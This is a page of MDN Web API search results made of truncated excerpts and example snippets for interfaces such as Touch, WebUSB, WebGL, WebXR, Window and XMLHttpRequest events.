...solas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/taskattributiontiming" target="_top"><rect x="201" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">taskattributiontiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties taskattributiontiming.containertype read only returns the type of frame container, one of ifram...
Text.isElementContentWhitespace - Web APIs
var tn = document.createtextnode("hello world"); tn.iselementcontentwhitespace; /* evaluates to false */ for a node that is all whitespace characters, the iselementcontentwhitespace evaluates to true.
... var ws = document.createtextnode(" \t \r\n ") ws.iselementcontentwhitespace; /* evaluates to true */ ...
TimeEvent - Web APIs
WebAPITimeEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#...
...d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/timeevent" target="_top"><rect x="116" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="161" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">timeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties timeevent.detail read only is a long that specifies some detail information about the event, depending on the type of the event.
Touch.force - Web APIs
WebAPITouchforce
for (var i=0; i < e.targettouches.length; i++) { // add code to "switch" based on the force value.
... console.log("targettouches[" + i + "].force = " + e.targettouches[i].force); } }, false); specifications specification status comment touch events – level 2 draft initial definition.
Touch.pageX - Web APIs
WebAPITouchpageX
// register a touchmove listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchmove', function(e) { // iterate through the touch points that have moved and log each // of the pagex/y coordinates.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the previous version.
Touch.pageY - Web APIs
WebAPITouchpageY
// register a touchmove listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchmove', function(e) { // iterate through the touch points that have moved and log each // of the pagex/y coordinates.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from last version.
Touch.screenX - Web APIs
WebAPITouchscreenX
// register a touchstart listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchstart', function(e) { // iterate through the touch points and log each screenx/y coordinate.
... var i; for (i=0; i < e.touches.length; i++) { console.log("touchpoint[" + i + "].screenx = " + e.touches[i].screenx); console.log("touchpoint[" + i + "].screeny = " + e.touches[i].screeny); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
Touch.target - Web APIs
WebAPITouchtarget
// register a touchmove listener for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchstart', function(e) { // iterate through the touch points that were activiated // for this element.
... for (var i=0; i < e.targettouches.length; i++) { console.log("touchpoint[" + i + "].target = " + e.targettouches[i].target); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TrackEvent - Web APIs
var videoelem = document.queryselector("video"); videoelem.videotracks.addeventlistener("addtrack", handletrackevent, false); videoelem.videotracks.addeventlistener("removetrack", handletrackevent, false); videoelem.audiotracks.addeventlistener("addtrack", handletrackevent, false); videoelem.audiotracks.addeventlistener("removetrack", handletrackevent, false); videoelem.texttracks.addeventlistener("addtrack", handletrackevent, false); ...
...videoelem.texttracks.addeventlistener("removetrack", handletrackevent, false); function handletrackevent(event) { var trackkind; if (event.target instanceof(videotracklist)) { trackkind = "video"; } else if (event.target instanceof(audiotracklist)) { trackkind = "audio"; } else if (event.target instanceof(texttracklist)) { trackkind = "text"; } else { trackkind = "unknown"; } switch(event.type) { case "addtrack": console.log("added a " + trackkind + " track"); break; case "removetrack": console.log("removed a " + trackkind + " track"); break; } } the event handler uses the javascript instanceof operator to determine which type of track the event occurred on, then outputs to console a message indicating what kind of track i...
UIEvent - Web APIs
WebAPIUIEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructors uievent() creates a uievent object.
URL.origin - Web APIs
WebAPIURLorigin
for blob: urls, the origin of the url following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org".
... examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
USB.requestDevice() - Web APIs
WebAPIUSBrequestDevice
const filters = [ {vendorid: 0x1209, productid: 0xa800}, {vendorid: 0x1209, productid: 0xa850} ]; navigator.usb.requestdevice({filters: filters}) .then(usbdevice => { console.log("product name: " + usbdevice.productname); }) .catch(e => { console.log("there is no device.
... " + e); }); specifications specification status comment webusbthe definition of 'requestdevice' in that specification.
USBDevice.controlTransferIn() - Web APIs
the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb devices) "class" (common to an industry-standard class of devices) or "vendor".
... recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other".
USBDevice.controlTransferOut() - Web APIs
the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb devices) "class" (common to an industry-standard class of devices) or "vendor".
... recipient: specifices the target of the transfer on the device, one of "device", "interface", "endpoint", or "other".
USBIsochronousOutTransferPacket - Web APIs
usbisochronousouttransferpacket.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
USBOutTransferResult - Web APIs
usbouttransferresult.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
WEBGL_draw_buffers - Web APIs
in webgl 2, the constants are available without the "webgl" suffix and the new glsl built-ins require glsl #version 300 es.
... 0); mapping the color attachments to draw buffer slots that the fragment shader will write to using gl_fragdata: ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(void) { gl_fragdata[0] = vec4(0.25); gl_fragdata[1] = vec4(0.5); gl_fragdata[2] = vec4(0.75); gl_fragdata[3] = vec4(1.0); } </script> specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
layout(location = 3) in vec4 position; would set the "position" attribute to index 3.
... for example, the following vertex: { "position": [1.0, 2.0, 1.5], "normal": [1.0, 0.0, 0.0], "texcoord": [0.5, 0.25] } will be stored in the array buffer as follows: 00 00 80 3f 00 00 00 40 00 00 0c 3f 7f 00 00 00 7f ff 3f ff creating the array buffer first, we dynamically create the array buffer from json data using a dataview.
Data in WebGL - Web APIs
WebAPIWebGL APIData
glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms.
... ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green ]; var cbuffer = gl.createbuffer(); //continued //create buffer to store colors and reference it to "vcolor" which is in glsl gl.bindbuffer( gl.array_buffer, cbuffer ); gl.bufferdata( gl.array_buffer, flatten(vertexcolors), gl.static_draw ); var vcolor = gl.getattriblocation( program, "vcolor" ); gl.vertexattribpointer( vcolor, 4, gl.float, false, 0, 0 ); gl.enablevertexattribarray( vcolor ); //glsl attribute vec4 vcolor; void main() { fcolor = vcolor; } varyings ...
WebGL model view projection - Web APIs
the obvious question is "why the extra dimension?" it turns out that this addition allows for lots of nice techniques for manipulating 3d data.
...in reality, the vertex shader is still only moving the models while the "camera" stays in place.
Improving compatibility using WebRTC adapter.js - Web APIs
the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
... include adapter.js in your project: <script src="adapter.js"></script> write your code, using webrtc apis per the specification, knowing that your code should work on all browsers.
WebRTC Statistics API - Web APIs
try { mypeerconnection = new rtcpeerconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } catch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.foreach(report => { if (report.type === "inbound-rtp" && report.kind === "video") { object.keys(report).foreach(statname => { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; })...
...; } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); } when the promise returned by getstats() is fulfilled, the resolution handler receives as input an rtcstatsreport object containing the statistics information.
WebSocket.binaryType - Web APIs
syntax var binarytype = awebsocket.binarytype; value a domstring: "blob" if blob objects are used.
... "arraybuffer" if arraybuffer objects are used.
Using bounded reference spaces - Web APIs
you can create a session that supports a bounded-floor reference space if available by using code such as the following: async function onactivatexrbutton(event) { if (!xrsession) { navgator.xr.requestsession("immersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session; startsessionanimation(); }); } } this function, called when the user clicks on a button to start the xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using immersive-vr ...
...that means you need to change the code that calls requestreferencespace() to ask for a bounded reference space, then if that fails fall back to your backup choice, like this: let xrsession = null; let xrreferencespace = null; let spacetype = null; function onsessionstarted(session) { xrsession = session; spacetype = "bounded-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) .catch(() => { spacetype = "local-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) .catch(handleerror); }); } function onrefspacecreated(refspace) { xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); // now set up matrices, cre...
Rendering and the WebXR frame animation callback - Web APIs
kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("immersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, viewerstartorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the immersive world, this creates an offset reference space representing the position and orientation of...
...in this context, "repaint" simply means the process of ensuring that the screen's displayed content matches what the dom and the elements within are trying to present at the moment.
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
let viewerpose = frame.getviewerpose(worldreferencespace); let newsession = navigator.xr.requestsession("immersive-vr", { requiredfeatures: "unbounded" }); worldreferencespace = await newsession.requestreferencespace("unbounded"); viewerpose = worldreferencespace.getoffsetreferencespace(viewerpose.transform); here, the viewer pose is obtained, with its transform defined relative to worldreferencespace, the current session's global reference space.
...upon recovery of tracking, a reset means tracking has been restored and the new position information represents the actual position information provided by the xr hardware, rather than cached or "best-guess" data.
Targeting and hit detection - Web APIs
real-world hit testing the acronym "lidar" has multiple definitions depending on specifics of how it's implemented, but the end result is the same.
... most commonly, it refers to "laser imaging, detection, and ranging" or "light detection and ranging").
Web Animations API Concepts - Web APIs
history over a decade ago, synchronized multimedia integration language, or smil (pronounced "smile"), brought animation to svg.
... timeline timeline objects provide the useful property currenttime, which lets us see how long the page has been opened for: it's the "current time" of the document's timeline, which started when the page was opened.
Using IIR filters - Web APIs
the play button html looks like this: <button class="button-play" role="switch" data-playing="false" aria-pressed="false">play</button> and the click event listener starts like so: playbutton.addeventlistener('click', function() { if (this.dataset.playing === 'false') { srcnode = playsourcenode(audioctx, sample); ...
...first, the html: <button class="button-filter" role="switch" data-filteron="false" aria-pressed="false" aria-describedby="label" disabled></button> the filter button's click handler then connects the iirfilter up to the graph, between the source and the detination: filterbutton.addeventlistener('click', function() { if (this.dataset.filteron === 'false') { srcnode.disconnect(audioctx.destination); srcnode.connect(iirfilter).connect(audioctx.destination); ...
Window.content - Web APIs
WebAPIWindowcontent
this is useful in xul windows that have a <browser> (or tabbrowser or <iframe>) with type="content-primary" attribute on it — the most famous example is firefox main window, browser.xul.
... syntax var windowobject = window.content; example executing the following code in a chrome xul window with a <browser type="content-primary"/> element in it draws a red border around the first div on the page currently displayed in the browser: content.document.getelementsbytagname("div")[0].style.border = "solid red 1px"; specification none.
Window.find() - Web APIs
WebAPIWindowfind
example javascript findstring = function findtext(text) { alert("string \x22" + text + "\x22 found?
... " + window.find(text)); } html <p>apples, bananas, and oranges.</p> <button type="button" onclick='findstring("apples")'>search for apples</button> <button type="button" onclick='findstring("banana")'>search for banana</button> <button type="button" onclick='findstring("orange")'>search for orange</button> result notes in some browsers, window.find() selects (highlights) the found content on the site.
Window.frames - Web APIs
WebAPIWindowframes
each item in the window.frames pseudo-array represents the window object corresponding to the given <frame>'s or <iframe>'s content, not the (i)frame dom element (i.e., window.frames[0] is the same thing as document.getelementsbytagname("iframe")[0].contentwindow).
... example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
Window: load event - Web APIs
WebAPIWindowload event
cancelable no interface event event handler property onload examples log a message when the page is fully loaded: window.addeventlistener('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { ...
...and note there are many places in the specification that refer to things that can "delays the load event".
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
syntax window.ondragdrop = funcref; window.addeventlistener("dragdrop", funcref, usecapturing); funcref the event handler function to be registered.
... <html> <head><title>dragdroptest</title> <script type="text/javascript"> window.addeventlistener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification.
Window: pageshow event - Web APIs
javascript const events = [ "pagehide", "pageshow", "unload", "load" ]; const eventlogger = event => { switch (event.type) { case "pagehide": case "pageshow": let ispersisted = event.persisted ?
... "persisted" : "not persisted"; console.log('event:', event.type, '-', ispersisted); break; default: console.log('event:', event.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you navigate to and from this page.
Window.personalbar - Web APIs
syntax objref =window.personalbar example fixme: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 the following complete html example shows the way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
to make the window resizable, you must open it with the "resizable" feature.
... // create resizable window myexternalwindow = window.open("http://myurl.domain", "mywindowname", "resizable"); // resize window to 500x500 myexternalwindow.resizeto(500, 500); // make window relatively smaller to 400x400 myexternalwindow.resizeby(-100, -100); the window you create must respect the same origin policy.
Window.sessionStorage - Web APIs
// get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only happen if the page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object se...
...ssionstorage.setitem("autosave", field.value); }); note: please refer to the using the web storage api article for a full example.
Window.statusbar - Web APIs
WebAPIWindowstatusbar
syntax objref = window.statusbar example the following complete html example shows a way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.statusbar.visible=!window.statusbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
Window.toolbar - Web APIs
WebAPIWindowtoolbar
syntax objref = window.toolbar example the following complete html example shows way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
Window.updateCommands() - Web APIs
syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event this is (e.g.
... notes this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes.
WindowClient.visibilityState - Web APIs
this value can be one of "hidden", "visible", or "prerender".
... example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification.
WindowClient - Web APIs
this value can be one of "hidden", "visible", or "prerender".
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
WindowEventHandlers.onpopstate - Web APIs
examples for example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // alerts "location: http://example.com/example...
....html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired, when we activate that entry after the second call to history.back().
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines.
... if (typeof window.queuemicrotask !== "function") { window.queuemicrotask = function (callback) { promise.resolve() .then(callback) .catch(e => settimeout(() => { throw e; })); // report exceptions }; } specifications specification status comment html living standardthe definition of 'self.queuemicrotask()' in that specification.
WorkerGlobalScope.navigator - Web APIs
example if you call the following console.log(navigator); inside a worker (which would basically be the equivalent of self.console.log(self.navigator);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workernavigator object written to the console — something like the following: object {online: true, useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) ap…ml, like gecko) chrome/40.0.2214.93 safari/537.36", product: "gecko", platform: "macintel", appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebki…ml, like gecko) chrome/40.0.2214.93 safari/537.36"…} appcodename: "mozilla" appname: "netscape" appversion: "5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml,...
... like gecko) chrome/40.0.2214.93 safari/537.36" hardwareconcurrency: 4 online: true platform: "macintel" product: "gecko" useragent: "mozilla/5.0 (macintosh; intel mac os x 10_10_1) applewebkit/537.36 (khtml, like gecko) chrome/40.0.2214.93 safari/537.36" __proto__: object you could use this navigator object to return more information about the runtime envinronment, as you might do with a normal navigator object.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
can be one of "omit", "same-origin", or "include".
... defaults to "same-origin".
WritableStreamDefaultWriter.ready - Web APIs
defaultwriter.ready .then(function() { defaultwriter.write(chunk) .then(function() { console.log("chunk written to sink.); }) .catch(function(err) { console.log("chunk error: " + err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification.
XMLHttpRequest: abort event - Web APIs
bubbles no cancelable no interface progressevent event handler property onabort examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; ...
...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest: error event - Web APIs
bubbles no cancelable no interface progressevent event handler property onerror examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = docu...
...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
var request = new xmlhttprequest(); request.open("get", "foo.txt", true); request.send(); request.onreadystatechange = function() { if(this.readystate == this.headers_received) { // get the raw header string var headers = request.getallresponseheaders(); // convert the header string into an array // of individual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of header names to values var head...
...ermap = {}; arr.foreach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '); headermap[header] = value; }); } } once this is done, you can, for example: var contenttype = headermap["content-type"]; this obtains the value of the content-type header into the variable contenttype.
XMLHttpRequest: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property onload examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbu...
...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property onloadend examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { ...
...r('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy...
XMLHttpRequest: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property onloadstart examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsucc...
